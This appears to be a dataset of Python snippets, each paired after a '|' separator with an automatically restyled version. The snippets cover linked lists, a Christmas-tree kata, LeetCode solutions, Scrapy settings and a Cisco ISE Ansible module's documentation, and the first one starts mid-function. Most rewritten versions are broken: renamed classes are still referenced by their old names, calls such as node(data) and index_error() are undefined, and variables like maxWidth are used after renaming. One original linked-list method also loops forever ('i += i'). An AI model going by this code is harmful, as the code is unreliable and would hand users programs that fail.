if self.head and self.head.next is None:
return True
self.__check_indices_for_swap(index1, index2)
# ensure index2 > index1 , as an internal standard in this function
if index1 > index2:
index1, index2 = index2, index1
# Get elements to be swapped in one pass/loop.
# Since we need to update the links, also get nodes
# just before the nodes to be swapped
node1 = self.head
prev_node1 = None # node just before node1
node2 = self.head
prev_node2 = None # node just before node2
current_node = self.head
i = j = 0
while j <= index2: # index2 >= index1, so iterate till index2
if i == index1 - 1:
prev_node1 = current_node
if j == index2 - 1:
prev_node2 = current_node
break
current_node = current_node.next
i += 1
j += 1
if prev_node1: # to handle edge case node1=self.head
node1 = prev_node1.next
if prev_node2: # to handle edge case node2=self.head
node2 = prev_node2.next
if prev_node1:
prev_node1.next = node2
else:
self.head = node2 # to handle edge case node1=self.head
if prev_node2:
prev_node2.next = node1
else:
self.head = node1 # to handle edge case node2=self.head
node1.next, node2.next = node2.next, node1.next
if __name__ == '__main__':
pass
| """Singly linked list. """
class Singlylinkedlistexception(Exception):
""" Base class for linked list module.
This will make it easier for future modifications
"""
class Singlylinkedlistindexerror(SinglyLinkedListException):
""" Invalid/Out of range index"""
def __init__(self, message='linked list index out of range'):
super().__init__(message)
self.message = message
class Singlylinkedlistemptyerror(SinglyLinkedListException):
""" Empty Linked List"""
def __init__(self, message='linked list has no nodes'):
super().__init__(message)
self.message = message
class Node:
"""Class representing a node in a linked list"""
def __init__(self, data):
self.data = data
self.next = None
class Singlylinkedlist:
"""Linked list class representing a collection of linked nodes"""
def __init__(self):
self.head = None
def insert_head(self, data):
""" Insert an node at the begenning of the linked list"""
new_node = node(data)
if self.head:
new_node.next = self.head
self.head = new_node
else:
self.head = new_node
def insert_end(self, data):
"""Insert an element at the end of the linked list"""
new_node = node(data)
if self.head:
last_node = self.head
while last_node.next:
last_node = last_node.next
last_node.next = new_node
else:
self.head = new_node
def insert_at(self, data, index):
""" Insert a node at the specified index starting from 0"""
if index < 0 or index > self.list_length():
raise singly_linked_list_index_error('Unable to insert at index ' + str(index) + ' : Invalid Position')
if index == 0:
self.insert_head(data)
else:
current_node = self.head
new_node = node(data)
i = 1
while i < index:
current_node = current_node.next
i += 1
temp = current_node.next
current_node.next = new_node
new_node.next = temp
del temp
def delete_end(self):
""" Delete a node from the end of linked list"""
if not self.head:
raise singly_linked_list_empty_error('Unable to delete from empty list')
if self.head.next is None:
self.head = None
else:
current_node = self.head
previous_node = None
while current_node.next is not None:
previous_node = current_node
current_node = current_node.next
del current_node
previous_node.next = None
def delete_head(self):
"""Remove the first node of the linked list"""
if self.head is None:
raise singly_linked_list_empty_error('Unable to delete head from empty linked list')
if self.head.next is None:
self.head = None
else:
self.head = self.head.next
def delete_at(self, index):
"""Remove the node at the specified index(starting from 0)
from the linked list
"""
if self.head is None:
raise singly_linked_list_empty_error('Unable to delete head from empty linked list')
if index < 0:
raise singly_linked_list_index_error('Index cannot be negative')
if index >= self.list_length():
raise singly_linked_list_index_error('Index={0} is out of range for list length={1}'.format(index, self.list_length()))
if index == 0:
self.delete_head()
elif index == self.list_length() - 1:
self.delete_end()
else:
i = 1
current_node = self.head
previous_node = None
while i <= index:
previous_node = current_node
current_node = current_node.next
i += 1
previous_node.next = current_node.next
del current_node
def print_elements(self):
"""Print data in all nodes in the linked list"""
print('')
if self.head:
current_node = self.head
while current_node:
print(current_node.data)
if current_node.next:
current_node = current_node.next
else:
break
else:
print('The list is empty!')
def list_length(self):
"""Returns the number of nodes in the linked list"""
length = 0
current_node = self.head
while current_node is not None:
length += 1
current_node = current_node.next
return length
def __get_cycle_meet_node(self):
"""
Return Node where slow(Tortoise or t) and fast(Hare or h) pointers meet
(Floyd's cycle detection algorithm)
If no cycle, return None
"""
if self.head is None:
raise singly_linked_list_empty_error('Empty linked list')
if self.head.next is None:
return None
hare = tortoise = self.head
while tortoise is not None and tortoise.next is not None:
hare = hare.next
tortoise = tortoise.next.next
if hare is tortoise:
return hare
return None
def cycle_present(self):
"""Return True is a cycle is detected in the linked list,
else retruns False
"""
return bool(self.__get_cycle_meet_node())
def remove_cycle(self):
"""Removes cycle(if present in the linked list"""
if self.cycle_present():
tortoise = self.head
hare = self.__get_cycle_meet_node()
if hare is self.head:
previous_hare = self.head
while previous_hare.next is not self.head:
previous_hare = previous_hare.next
while hare is not tortoise:
previous_hare = hare
tortoise = tortoise.next
hare = hare.next
previous_hare.next = None
else:
pass
def get_node_at_index(self, index):
"""Return node at specified index, starting from 0"""
if self.head is None:
raise singly_linked_list_empty_error('Empty linked list')
if index < 0:
raise singly_linked_list_index_error('Index out of range: {0}'.format(index))
if index >= self.list_length():
raise singly_linked_list_index_error('Index={0} out of range for list length={1}'.format(index, self.list_length()))
current_node = self.head
i = 0
while i < index:
current_node = current_node.next
i += i
return current_node
def __check_indices_for_swap(self, index1, index2):
""" Sanity checks for function swap_nodes_at_indices.
This to avoid pylint error R0912 for
function swap_nodes_at_indices().
R0912: Too many branches (17/12) (too-many-branches).
"""
if self.head is None:
raise singly_linked_list_empty_error('Empty linked list')
if index1 < 0:
raise singly_linked_list_index_error('Invalid index: {0}'.format(index1))
if index2 < 0:
raise singly_linked_list_index_error('Invalid index: {0}'.format(index2))
if index1 >= self.list_length():
raise singly_linked_list_index_error('Index={0} out of range for list length={1}'.format(index1, self.list_length()))
if index2 >= self.list_length():
raise singly_linked_list_index_error('Index={0} out of range for list length={1}'.format(index2, self.list_length()))
def swap_nodes_at_indices(self, index1, index2):
"""Swaps two nodes (specified using indices) of the linked list.
Retrun True, if swap success or if swap not required
"""
if index1 == index2:
return True
if self.head and self.head.next is None:
return True
self.__check_indices_for_swap(index1, index2)
if index1 > index2:
(index1, index2) = (index2, index1)
node1 = self.head
prev_node1 = None
node2 = self.head
prev_node2 = None
current_node = self.head
i = j = 0
while j <= index2:
if i == index1 - 1:
prev_node1 = current_node
if j == index2 - 1:
prev_node2 = current_node
break
current_node = current_node.next
i += 1
j += 1
if prev_node1:
node1 = prev_node1.next
if prev_node2:
node2 = prev_node2.next
if prev_node1:
prev_node1.next = node2
else:
self.head = node2
if prev_node2:
prev_node2.next = node1
else:
self.head = node1
(node1.next, node2.next) = (node2.next, node1.next)
if __name__ == '__main__':
pass |
#!/usr/bin/env python
__all__ = ["test_bedgraph", "test_clustal", "test_fasta"]
__author__ = ""
__copyright__ = "Copyright 2007-2020, The Cogent Project"
__credits__ = [
"Rob Knight",
"Gavin Huttley",
"Sandra Smit",
"Marcin Cieslik",
"Jeremy Widmann",
]
__license__ = "BSD-3"
__version__ = "2020.2.7a"
__maintainer__ = "Gavin Huttley"
__email__ = "gavin.huttley@anu.edu.au"
__status__ = "Production"
| __all__ = ['test_bedgraph', 'test_clustal', 'test_fasta']
__author__ = ''
__copyright__ = 'Copyright 2007-2020, The Cogent Project'
__credits__ = ['Rob Knight', 'Gavin Huttley', 'Sandra Smit', 'Marcin Cieslik', 'Jeremy Widmann']
__license__ = 'BSD-3'
__version__ = '2020.2.7a'
__maintainer__ = 'Gavin Huttley'
__email__ = 'gavin.huttley@anu.edu.au'
__status__ = 'Production' |
BOT_NAME = 'tabcrawler'
SPIDER_MODULES = ['tabcrawler.spiders']
NEWSPIDER_MODULE = 'tabcrawler.spiders'
DOWNLOAD_DELAY = 3
ITEM_PIPELINES = ['scrapy.contrib.pipeline.images.ImagesPipeline']
IMAGES_STORE = '/Users/jinzemin/Desktop/GuitarFan/tabcrawler/tabs'
# ITEM_PIPELINES = [
# 'tabcrawler.pipelines.ArtistPipeline',
# ]
# Crawl responsibly by identifying yourself (and your website) on the user-agent
#USER_AGENT = 'tabcrawler (+http://www.yourdomain.com)'
| bot_name = 'tabcrawler'
spider_modules = ['tabcrawler.spiders']
newspider_module = 'tabcrawler.spiders'
download_delay = 3
item_pipelines = ['scrapy.contrib.pipeline.images.ImagesPipeline']
images_store = '/Users/jinzemin/Desktop/GuitarFan/tabcrawler/tabs' |
my_list = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
counter = 0
for number in my_list:
counter = counter + number
print(counter)
| my_list = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
counter = 0
for number in my_list:
counter = counter + number
print(counter) |
'''
It's Christmas time! To share his Christmas spirit with all his friends, the young Christmas Elf decided to send each of them a Christmas e-mail with a nice Christmas tree. Unfortunately, Internet traffic is very expensive in the North Pole, so instead of sending an actual image he got creative and drew the tree using nothing but asterisks ('*' symbols). He has given you the specs (see below) and your task is to write a program that will generate trees following the spec and some initial parameters.
Here is a formal definition of how the tree should be built, but before you read it the Elf HIGHLY recommends first looking at the examples that follow:
Each tree has a crown as follows:
*
*
***
Define a line as a horizontal group of asterisks and a level as a collection of levelHeight lines stacked one on top of the other.
Below the crown there are levelNum levels.
The tree is perfectly symmetrical so all the middle asterisks of the lines lie on the center of the tree.
Each line of the same level (excluding the first one) has two more asterisks than the previous one (one added to each end);
The number of asterisks in the first line of each level is chosen as follows:
the first line of the first level has 5 asterisks;
the first line of each consecutive level contains two more asterisks than the first line of the previous level.
And finally there is the tree foot which has a height of levelNum and a width of:
levelHeight asterisks if levelHeight is odd;
levelHeight + 1 asterisks if levelHeight is even.
Given levelNum and levelHeight, return the Christmas tree of the young elf.
Example
For levelNum = 1 and levelHeight = 3, the output should be
christmasTree(levelNum, levelHeight) =
[" *",
" *",
" ***",
" *****",
" *******",
"*********",
" ***"]
, which represents the following tree:
___
* |
* |-- the crown
*** ___|
***** |
******* |-- level 1
********* ___|
*** ___|-- the foot
For levelNum = 2 and levelHeight = 4, the output should be
christmasTree(levelNum, levelHeight) =
[" *",
" *",
" ***",
" *****",
" *******",
" *********",
" ***********",
" *******",
" *********",
" ***********",
"*************",
" *****",
" *****"]
, which represents the following tree:
___
* |
* | -- the crown
*** ___|
***** |
******* | -- level 1
********* |
*********** ___|
******* |
********* | -- level 2
*********** |
************* ___|
***** | -- the foot
***** ___|
'''
def christmasTree(levelNum, levelHeight):
maxWidth = 5 + (levelNum-1)*2 + (levelHeight-1)*2
center = (maxWidth//2)+1
tree = []
# Crown
appendToTree(tree, center, 1)
appendToTree(tree, center, 1)
appendToTree(tree, center, 3)
# Levels
for i in range(levelNum):
appendToTree(tree, center, 5+(2*i))
for j in range(1, levelHeight):
appendToTree(tree, center, 5+(2*i)+(2*j))
# Base
baseWidth = levelHeight
if levelHeight % 2 == 0:
baseWidth = levelHeight + 1
for i in range(levelNum):
appendToTree(tree, center, baseWidth)
return tree
def appendToTree(tree, center, numOfAsterisks):
middle = (numOfAsterisks // 2) + 1
tree.append(" " * (center - middle) + "*" * numOfAsterisks)
| """
It's Christmas time! To share his Christmas spirit with all his friends, the young Christmas Elf decided to send each of them a Christmas e-mail with a nice Christmas tree. Unfortunately, Internet traffic is very expensive in the North Pole, so instead of sending an actual image he got creative and drew the tree using nothing but asterisks ('*' symbols). He has given you the specs (see below) and your task is to write a program that will generate trees following the spec and some initial parameters.
Here is a formal definition of how the tree should be built, but before you read it the Elf HIGHLY recommends first looking at the examples that follow:
Each tree has a crown as follows:
*
*
***
Define a line as a horizontal group of asterisks and a level as a collection of levelHeight lines stacked one on top of the other.
Below the crown there are levelNum levels.
The tree is perfectly symmetrical so all the middle asterisks of the lines lie on the center of the tree.
Each line of the same level (excluding the first one) has two more asterisks than the previous one (one added to each end);
The number of asterisks in the first line of each level is chosen as follows:
the first line of the first level has 5 asterisks;
the first line of each consecutive level contains two more asterisks than the first line of the previous level.
And finally there is the tree foot which has a height of levelNum and a width of:
levelHeight asterisks if levelHeight is odd;
levelHeight + 1 asterisks if levelHeight is even.
Given levelNum and levelHeight, return the Christmas tree of the young elf.
Example
For levelNum = 1 and levelHeight = 3, the output should be
christmasTree(levelNum, levelHeight) =
[" *",
" *",
" ***",
" *****",
" *******",
"*********",
" ***"]
, which represents the following tree:
___
* |
* |-- the crown
*** ___|
***** |
******* |-- level 1
********* ___|
*** ___|-- the foot
For levelNum = 2 and levelHeight = 4, the output should be
christmasTree(levelNum, levelHeight) =
[" *",
" *",
" ***",
" *****",
" *******",
" *********",
" ***********",
" *******",
" *********",
" ***********",
"*************",
" *****",
" *****"]
, which represents the following tree:
___
* |
* | -- the crown
*** ___|
***** |
******* | -- level 1
********* |
*********** ___|
******* |
********* | -- level 2
*********** |
************* ___|
***** | -- the foot
***** ___|
"""
def christmas_tree(levelNum, levelHeight):
max_width = 5 + (levelNum - 1) * 2 + (levelHeight - 1) * 2
center = maxWidth // 2 + 1
tree = []
append_to_tree(tree, center, 1)
append_to_tree(tree, center, 1)
append_to_tree(tree, center, 3)
for i in range(levelNum):
append_to_tree(tree, center, 5 + 2 * i)
for j in range(1, levelHeight):
append_to_tree(tree, center, 5 + 2 * i + 2 * j)
base_width = levelHeight
if levelHeight % 2 == 0:
base_width = levelHeight + 1
for i in range(levelNum):
append_to_tree(tree, center, baseWidth)
return tree
def append_to_tree(tree, center, numOfAsterisks):
middle = numOfAsterisks // 2 + 1
tree.append(' ' * (center - middle) + '*' * numOfAsterisks) |
cpicker = lv.cpicker(lv.scr_act(),None)
cpicker.set_size(200, 200)
cpicker.align(None, lv.ALIGN.CENTER, 0, 0)
| cpicker = lv.cpicker(lv.scr_act(), None)
cpicker.set_size(200, 200)
cpicker.align(None, lv.ALIGN.CENTER, 0, 0) |
"""
Python implementation of a Circular Doubly Linked List With Sentinel.
In this version the Node class is hidden hence the usage is much more
similar to a normal list.
"""
class CDLLwS(object):
class Node(object):
def __init__(self, data):
self.data = data
self.prev = None
self.next = None
def __str__(self):
return str(self.data)
def __init__(self):
self.sentinel = self.Node(None)
self.sentinel.next = self.sentinel.prev = self.sentinel
self.len = 0
def __len__(self):
return self.len
def __iter__(self, getNode=False):
x = self.sentinel.next
while x != self.sentinel:
yield x if getNode else x.data
x = x.next
def __getitem__(self, i, getNode=False):
if not -1 <= i < len(self):
raise IndexError()
elif i == 0:
out = self.sentinel.next
elif i == -1:
if len(self) > 0:
out = self.sentinel.prev
else:
raise IndexError()
else:
for j, x in enumerate(self.__iter__(getNode=True)):
if j == i:
out = x
break
return out if getNode else out.data
def _insert_data(self, data, nextNode):
node = self.Node(data)
node.prev = nextNode.prev
node.next = nextNode
node.prev.next = node
node.next.prev = node
self.len += 1
def insert(self, i, data):
self._insert_data(
data,
self.__getitem__(i, getNode=True) if \
len(self) > 0 else self.sentinel
)
def append(self, data):
self._insert_data(
data,
self.sentinel
)
def pop(self, i=-1):
x = self.__getitem__(i, getNode=True)
x.prev.next = x.next
x.next.prev = x.prev
self.len -= 1
return x.data
def index(self, data):
for i, x in enumerate(self):
if x == data:
return i
raise ValueError("'%s' is not in list" % data)
def reverse(self):
x = self.sentinel.next
while x != self.sentinel:
x.next, x.prev = x.prev, x.next
x = x.prev
self.sentinel.next, self.sentinel.prev = self.sentinel.prev, self.sentinel.next
def __str__(self):
return str(list(self))
def __repr__(self):
return str(self) | """
Python implementation of a Circular Doubly Linked List With Sentinel.
In this version the Node class is hidden hence the usage is much more
similar to a normal list.
"""
class Cdllws(object):
class Node(object):
def __init__(self, data):
self.data = data
self.prev = None
self.next = None
def __str__(self):
return str(self.data)
def __init__(self):
self.sentinel = self.Node(None)
self.sentinel.next = self.sentinel.prev = self.sentinel
self.len = 0
def __len__(self):
return self.len
def __iter__(self, getNode=False):
x = self.sentinel.next
while x != self.sentinel:
yield (x if getNode else x.data)
x = x.next
def __getitem__(self, i, getNode=False):
if not -1 <= i < len(self):
raise index_error()
elif i == 0:
out = self.sentinel.next
elif i == -1:
if len(self) > 0:
out = self.sentinel.prev
else:
raise index_error()
else:
for (j, x) in enumerate(self.__iter__(getNode=True)):
if j == i:
out = x
break
return out if getNode else out.data
def _insert_data(self, data, nextNode):
node = self.Node(data)
node.prev = nextNode.prev
node.next = nextNode
node.prev.next = node
node.next.prev = node
self.len += 1
def insert(self, i, data):
self._insert_data(data, self.__getitem__(i, getNode=True) if len(self) > 0 else self.sentinel)
def append(self, data):
self._insert_data(data, self.sentinel)
def pop(self, i=-1):
x = self.__getitem__(i, getNode=True)
x.prev.next = x.next
x.next.prev = x.prev
self.len -= 1
return x.data
def index(self, data):
for (i, x) in enumerate(self):
if x == data:
return i
raise value_error("'%s' is not in list" % data)
def reverse(self):
x = self.sentinel.next
while x != self.sentinel:
(x.next, x.prev) = (x.prev, x.next)
x = x.prev
(self.sentinel.next, self.sentinel.prev) = (self.sentinel.prev, self.sentinel.next)
def __str__(self):
return str(list(self))
def __repr__(self):
return str(self) |
class WorkflowException(Exception):
pass
class UnsupportedRequirement(WorkflowException):
pass
class ArgumentException(Exception):
"""Mismatched command line arguments provided."""
class GraphTargetMissingException(WorkflowException):
"""When a $graph is encountered and there is no target and no main/#main."""
| class Workflowexception(Exception):
pass
class Unsupportedrequirement(WorkflowException):
pass
class Argumentexception(Exception):
"""Mismatched command line arguments provided."""
class Graphtargetmissingexception(WorkflowException):
"""When a $graph is encountered and there is no target and no main/#main.""" |
class Solution:
def partitionLabels(self, s: str) -> List[int]:
# base case if we only have 1 letter
if len(s)<2:
return [1] #change to [len(s)]
response = [] # final response
memory = [] #track
memory.append(s[0])# we already known that we have at least 2 letters
count = 1 # counter
i = 1
while i<len(s):
if s[i] in memory:
count+=1 #if the current value char is in our memory add the count
else: # is a new character
bl = False # boolean flag, true to add the new character into the current count or in a new
for each in memory: #we want to keep track of each letter into the remaining string
if each in s[i+1:]: #if at least one of the letters in our memory appers later, we can change the flag and stop the for
bl = True
break
if bl: # add the new letter into the memory
memory.append(s[i])
count+=1
else:
memory = [] # empty the memory
memory.append(s[i]) # add the current new character
response.append(count) # add the current count into the response
count = 1 #counter
i+=1
response.append(count) #add the remaining letters
return response
| class Solution:
def partition_labels(self, s: str) -> List[int]:
if len(s) < 2:
return [1]
response = []
memory = []
memory.append(s[0])
count = 1
i = 1
while i < len(s):
if s[i] in memory:
count += 1
else:
bl = False
for each in memory:
if each in s[i + 1:]:
bl = True
break
if bl:
memory.append(s[i])
count += 1
else:
memory = []
memory.append(s[i])
response.append(count)
count = 1
i += 1
response.append(count)
return response |
class Solution:
def isPowerOfTwo(self, n: int) -> bool:
b = bin(n)
if b[2] != '1':
return False
for bit in b[3:]:
if bit != '0':
return False
return True
print(Solution().isPowerOfTwo(1))
print(Solution().isPowerOfTwo(16))
print(Solution().isPowerOfTwo(3))
print(Solution().isPowerOfTwo(4))
print(Solution().isPowerOfTwo(5))
print(Solution().isPowerOfTwo(-5))
print(Solution().isPowerOfTwo(0))
| class Solution:
def is_power_of_two(self, n: int) -> bool:
b = bin(n)
if b[2] != '1':
return False
for bit in b[3:]:
if bit != '0':
return False
return True
print(solution().isPowerOfTwo(1))
print(solution().isPowerOfTwo(16))
print(solution().isPowerOfTwo(3))
print(solution().isPowerOfTwo(4))
print(solution().isPowerOfTwo(5))
print(solution().isPowerOfTwo(-5))
print(solution().isPowerOfTwo(0)) |
"""
tool for combining dictionaries.
IndexedValues is a list with a start index. It is for simulating dictionaries of {int: int>0}
"""
def generate_indexed_values(sorted_tuple_list):
"""
:param sorted_tuple_list: may not be empty.\n
[(int, int>0), ...]
"""
start_val, values = make_start_index_and_list(sorted_tuple_list)
return IndexedValues(start_val, values)
def generate_indexed_values_from_dict(input_dict) -> 'IndexedValues':
"""
:param input_dict: may not be empty.\n
{int: int>0, ...}
"""
return generate_indexed_values(sorted(input_dict.items()))
def make_start_index_and_list(sorted_tuple_list):
start_val = sorted_tuple_list[0][0]
end_val = sorted_tuple_list[-1][0]
out_list = [0] * (end_val - start_val + 1)
for index, value in sorted_tuple_list:
list_index = index - start_val
out_list[list_index] = value
return start_val, out_list
class IndexedValues(object):
def __init__(self, start_index, sorted_values):
"""
:param start_index: int
:param sorted_values: may not be empty\n
[int>=0, ...] \n
values[0] != 0\n
values[-1] != 0
"""
self._start_index = start_index
self._values = sorted_values[:]
@property
def raw_values(self):
return self._values[:]
@property
def start_index(self):
return self._start_index
@property
def index_range(self):
return self.start_index, len(self.raw_values) + self.start_index - 1
def get_dict(self):
return {index + self.start_index: value for index, value in enumerate(self.raw_values) if value}
def get_value_at_key(self, key):
index = key - self.start_index
if index < 0 or index >= len(self.raw_values):
return 0
else:
return self.raw_values[index]
def combine_with_dictionary(self, no_zero_values_dict):
"""
:param no_zero_values_dict: may not be empty\n
{int: int>0, ...}
"""
base_list = self.raw_values
first_event = min(no_zero_values_dict.keys())
last_event = max(no_zero_values_dict.keys())
new_start_index = self.start_index + first_event
new_size = len(base_list) + last_event - first_event
container_for_lists_to_combine = []
for event, occurrences in no_zero_values_dict.items():
index_offset = event - first_event
new_group_of_events = get_events_list(base_list, occurrences, new_size, index_offset)
container_for_lists_to_combine.append(new_group_of_events)
new_raw_values = list(map(add_many, *container_for_lists_to_combine))
return IndexedValues(new_start_index, new_raw_values)
def add_many(*args):
return sum(args)
def get_events_list(base_list, occurrences, new_size, index_offset):
if occurrences != 1:
adjusted_events = [value * occurrences for value in base_list]
else:
adjusted_events = base_list[:]
return change_list_len_with_zeroes(adjusted_events, new_size, index_offset)
def change_list_len_with_zeroes(input_list, new_size, index_offset):
left = [0] * index_offset
right = [0] * (new_size - index_offset - len(input_list))
return left + input_list + right
| """
tool for combining dictionaries.
IndexedValues is a list with a start index. It is for simulating dictionaries of {int: int>0}
"""
def generate_indexed_values(sorted_tuple_list):
"""
:param sorted_tuple_list: may not be empty.
[(int, int>0), ...]
"""
(start_val, values) = make_start_index_and_list(sorted_tuple_list)
return indexed_values(start_val, values)
def generate_indexed_values_from_dict(input_dict) -> 'IndexedValues':
"""
:param input_dict: may not be empty.
{int: int>0, ...}
"""
return generate_indexed_values(sorted(input_dict.items()))
def make_start_index_and_list(sorted_tuple_list):
start_val = sorted_tuple_list[0][0]
end_val = sorted_tuple_list[-1][0]
out_list = [0] * (end_val - start_val + 1)
for (index, value) in sorted_tuple_list:
list_index = index - start_val
out_list[list_index] = value
return (start_val, out_list)
class Indexedvalues(object):
def __init__(self, start_index, sorted_values):
"""
:param start_index: int
:param sorted_values: may not be empty
[int>=0, ...]
values[0] != 0
values[-1] != 0
"""
self._start_index = start_index
self._values = sorted_values[:]
@property
def raw_values(self):
return self._values[:]
@property
def start_index(self):
return self._start_index
@property
def index_range(self):
return (self.start_index, len(self.raw_values) + self.start_index - 1)
def get_dict(self):
return {index + self.start_index: value for (index, value) in enumerate(self.raw_values) if value}
def get_value_at_key(self, key):
index = key - self.start_index
if index < 0 or index >= len(self.raw_values):
return 0
else:
return self.raw_values[index]
def combine_with_dictionary(self, no_zero_values_dict):
"""
:param no_zero_values_dict: may not be empty
{int: int>0, ...}
"""
base_list = self.raw_values
first_event = min(no_zero_values_dict.keys())
last_event = max(no_zero_values_dict.keys())
new_start_index = self.start_index + first_event
new_size = len(base_list) + last_event - first_event
container_for_lists_to_combine = []
for (event, occurrences) in no_zero_values_dict.items():
index_offset = event - first_event
new_group_of_events = get_events_list(base_list, occurrences, new_size, index_offset)
container_for_lists_to_combine.append(new_group_of_events)
new_raw_values = list(map(add_many, *container_for_lists_to_combine))
return indexed_values(new_start_index, new_raw_values)
def add_many(*args):
return sum(args)
def get_events_list(base_list, occurrences, new_size, index_offset):
if occurrences != 1:
adjusted_events = [value * occurrences for value in base_list]
else:
adjusted_events = base_list[:]
return change_list_len_with_zeroes(adjusted_events, new_size, index_offset)
def change_list_len_with_zeroes(input_list, new_size, index_offset):
left = [0] * index_offset
right = [0] * (new_size - index_offset - len(input_list))
return left + input_list + right |
class _Attribute:
def __init__(self, name, value, deprecated=False):
self.name = name
self.value = value
self.deprecated = deprecated
def get_config(self):
"""Get in config format"""
return ' %s: %s\n' % (self.name, self.value) if self.value else None
def __str__(self):
return self.value
# def __get__(self, instance, owner):
# return self
def __set__(self, instance, value):
self.value = value
class _Section:
section_name = None
deprecated = False
# def get_config(self):
# sec = '%s: {\n' % self.section_name
# for x in self.__dict__.items():
# for value in x:
# if isinstance(value, _Attribute):
# val = value.value
# if val is not None:
# sec += ' %s: %s\n' % (value.name, val)
# sec += '}'
# return sec
def __str__(self):
return self.get_config()
def __getattribute__(self, name):
value = object.__getattribute__(self, name)
if hasattr(value, '__get__'):
value = value.__get__(self, self.__class__)
return value
def __setattr__(self, name, value):
try:
obj = object.__getattribute__(self, name)
except AttributeError:
pass
else:
if hasattr(obj, '__set__'):
return obj.__set__(self, value)
return object.__setattr__(self, name, value)
class Config(list):
"""Qpid Dispatch configuration"""
def __init__(self):
super().__init__()
def add_section(self, section: _Section):
self.append(section)
def get_config(self):
conf = ''
i = False
num_sections = len(self)
for section in self:
i += 1
conf += '%s: {\n' % section.section_name
for attributes in section.__dict__.items():
for attr in attributes:
if isinstance(attr, _Attribute):
tmp_val = attr.value
if tmp_val is not None:
conf += ' %s: %s\n' % (attr.name, tmp_val)
conf += '}\n'
if i < num_sections:
conf += '\n'
return conf
| class _Attribute:
def __init__(self, name, value, deprecated=False):
self.name = name
self.value = value
self.deprecated = deprecated
def get_config(self):
"""Get in config format"""
return ' %s: %s\n' % (self.name, self.value) if self.value else None
def __str__(self):
return self.value
def __set__(self, instance, value):
self.value = value
class _Section:
section_name = None
deprecated = False
def __str__(self):
return self.get_config()
def __getattribute__(self, name):
value = object.__getattribute__(self, name)
if hasattr(value, '__get__'):
value = value.__get__(self, self.__class__)
return value
def __setattr__(self, name, value):
try:
obj = object.__getattribute__(self, name)
except AttributeError:
pass
else:
if hasattr(obj, '__set__'):
return obj.__set__(self, value)
return object.__setattr__(self, name, value)
class Config(list):
"""Qpid Dispatch configuration"""
def __init__(self):
super().__init__()
def add_section(self, section: _Section):
self.append(section)
def get_config(self):
conf = ''
i = False
num_sections = len(self)
for section in self:
i += 1
conf += '%s: {\n' % section.section_name
for attributes in section.__dict__.items():
for attr in attributes:
if isinstance(attr, _Attribute):
tmp_val = attr.value
if tmp_val is not None:
conf += ' %s: %s\n' % (attr.name, tmp_val)
conf += '}\n'
if i < num_sections:
conf += '\n'
return conf |
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Copyright (c) 2021, Cisco Systems
# GNU General Public License v3.0+ (see LICENSE or https://www.gnu.org/licenses/gpl-3.0.txt)
DOCUMENTATION = r"""
---
module: external_radius_server
short_description: Resource module for External Radius Server
description:
- Manage operations create, update and delete of the resource External Radius Server.
version_added: '1.0.0'
author: Rafael Campos (@racampos)
options:
accountingPort:
description: Valid Range 1 to 65535.
type: int
authenticationPort:
description: Valid Range 1 to 65535.
type: int
authenticatorKey:
description: The authenticatorKey is required only if enableKeyWrap is true, otherwise
it must be ignored or empty. The maximum length is 20 ASCII characters or 40 HEXADECIMAL
characters (depend on selection in field 'keyInputFormat').
type: str
description:
description: External Radius Server's description.
type: str
enableKeyWrap:
description: KeyWrap may only be enabled if it is supported on the device. When
running in FIPS mode this option should be enabled for such devices.
type: bool
encryptionKey:
description: The encryptionKey is required only if enableKeyWrap is true, otherwise
it must be ignored or empty. The maximum length is 16 ASCII characters or 32 HEXADECIMAL
characters (depend on selection in field 'keyInputFormat').
type: str
hostIP:
description: The IP of the host - must be a valid IPV4 address.
type: str
id:
description: External Radius Server's id.
type: str
keyInputFormat:
description: Specifies the format of the input for fields 'encryptionKey' and 'authenticatorKey'.
Allowed Values - ASCII - HEXADECIMAL.
type: str
name:
description: Resource Name. Allowed charactera are alphanumeric and _ (underscore).
type: str
proxyTimeout:
description: Valid Range 1 to 600.
type: int
retries:
description: Valid Range 1 to 9.
type: int
sharedSecret:
description: Shared secret maximum length is 128 characters.
type: str
timeout:
description: Valid Range 1 to 120.
type: int
requirements:
- ciscoisesdk
seealso:
# Reference by Internet resource
- name: External Radius Server reference
description: Complete reference of the External Radius Server object model.
link: https://ciscoisesdk.readthedocs.io/en/latest/api/api.html#v3-0-0-summary
"""
EXAMPLES = r"""
- name: Update by id
cisco.ise.external_radius_server:
ise_hostname: "{{ise_hostname}}"
ise_username: "{{ise_username}}"
ise_password: "{{ise_password}}"
ise_verify: "{{ise_verify}}"
state: present
accountingPort: 0
authenticationPort: 0
authenticatorKey: string
description: string
enableKeyWrap: true
encryptionKey: string
hostIP: string
id: string
keyInputFormat: string
name: string
proxyTimeout: 0
retries: 0
sharedSecret: string
timeout: 0
- name: Delete by id
cisco.ise.external_radius_server:
ise_hostname: "{{ise_hostname}}"
ise_username: "{{ise_username}}"
ise_password: "{{ise_password}}"
ise_verify: "{{ise_verify}}"
state: absent
id: string
- name: Create
cisco.ise.external_radius_server:
ise_hostname: "{{ise_hostname}}"
ise_username: "{{ise_username}}"
ise_password: "{{ise_password}}"
ise_verify: "{{ise_verify}}"
state: present
accountingPort: 0
authenticationPort: 0
authenticatorKey: string
description: string
enableKeyWrap: true
encryptionKey: string
hostIP: string
keyInputFormat: string
name: string
proxyTimeout: 0
retries: 0
sharedSecret: string
timeout: 0
"""
RETURN = r"""
ise_response:
description: A dictionary or list with the response returned by the Cisco ISE Python SDK
returned: always
type: dict
sample: >
{
"UpdatedFieldsList": {
"updatedField": {
"field": "string",
"oldValue": "string",
"newValue": "string"
},
"field": "string",
"oldValue": "string",
"newValue": "string"
}
}
"""
